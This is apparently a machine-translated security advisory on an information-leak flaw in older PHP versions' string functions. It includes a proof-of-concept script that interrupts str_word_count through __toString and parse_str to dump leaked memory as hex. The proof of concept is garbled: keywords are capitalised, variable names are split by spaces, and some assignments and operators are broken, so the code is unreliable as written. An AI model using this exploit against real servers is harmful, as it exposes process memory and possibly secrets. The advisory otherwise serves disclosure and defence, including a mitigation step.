Affected Versions:
PHP <= 5.3.2
PHP <= 5.2.13
Vulnerability description:
PHP is a widely used scripting language. It is especially suitable for Web development and can be embedded into HTML.
Str_pad () function, str_word_count () function, wordwrap () function, strtok () function, setcookie () function, strip_tags () function, strtr () function () function Information Leakage vulnerability <* Reference
Stefan Esser (s.esser@ematters.de)
Html> http://php-security.org/2010/05/26/mops-2010-046-php-str_pad-interruption-information-leak-vulnerability/index.html
*>
Test method:
The Program (method) provided on this site may be offensive and only used for security research and teaching. You are at your own risk! <? Php
Class charlist
{
Function _ toString ()
{
$ Ret =;
For ($ I = 0; $ I <= 255; $ I ++) $ ret. = chr ($ I );
/* Now the magic */
Parse_str ("xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx = 1", $ GLOBALS [var]);
Return $ ret;
}
}
/* Detect 32 vs 64 bit */
$ I = 0x7fffffff;
$ I ++;
If (is_float ($ I )){
$ GLOBALS [var] = str_repeat ("A", 39 );
} Else {
$ GLOBALS [var] = str_repeat ("A", 67 );
}
/* Trigger the Code */
$ X = str_word_count (& $ GLOBALS [var], 1, new charlist ());
Hexdump ($ x );
/* Helper function */
Function hexdump ($ x)
{
$ L = strlen ($ x );
$ P = 0;
Echo "Hexdump ";
Echo "-------";
While ($ l> 16 ){
Echo sprintf ("% 08x:", $ p );
For ($ I = 0; $ I <16; $ I ++ ){
Echo sprintf ("% 02X", ord ($ x [$ p + $ I]);
}
Echo "";
For ($ I = 0; $ I <16; $ I ++ ){
$ C = ord ($ x [$ p + $ I]);
Echo ($ c <32 | $ c> 127 )? .: Chr ($ c );
}
$ L-= 16;
$ P + = 16;
Echo "";
}
If ($ l> 0)
Echo sprintf ("% 08x:", $ p );
For ($ I = 0; $ I <$ l; $ I ++ ){
Echo sprintf ("% 02X", ord ($ x [$ p + $ I]);
}
For ($ I = 0; $ I <16-$ l; $ I ++) {echo "--";}
Echo "";
For ($ I = 0; $ I <$ l; $ I ++ ){
$ C = ord ($ x [$ p + $ I]);
Echo ($ c <32 | $ c> 127 )? .: Chr ($ c );
}
Echo "";
}
?>
Security suggestions:
Temporary solution:
* Disable the call time pass by reference function.
Vendor patch:
PHP
---
Currently, the vendor does not provide patches or upgrade programs. We recommend that users who use the software follow the vendor's homepage to obtain the latest version:
Http://www.php.net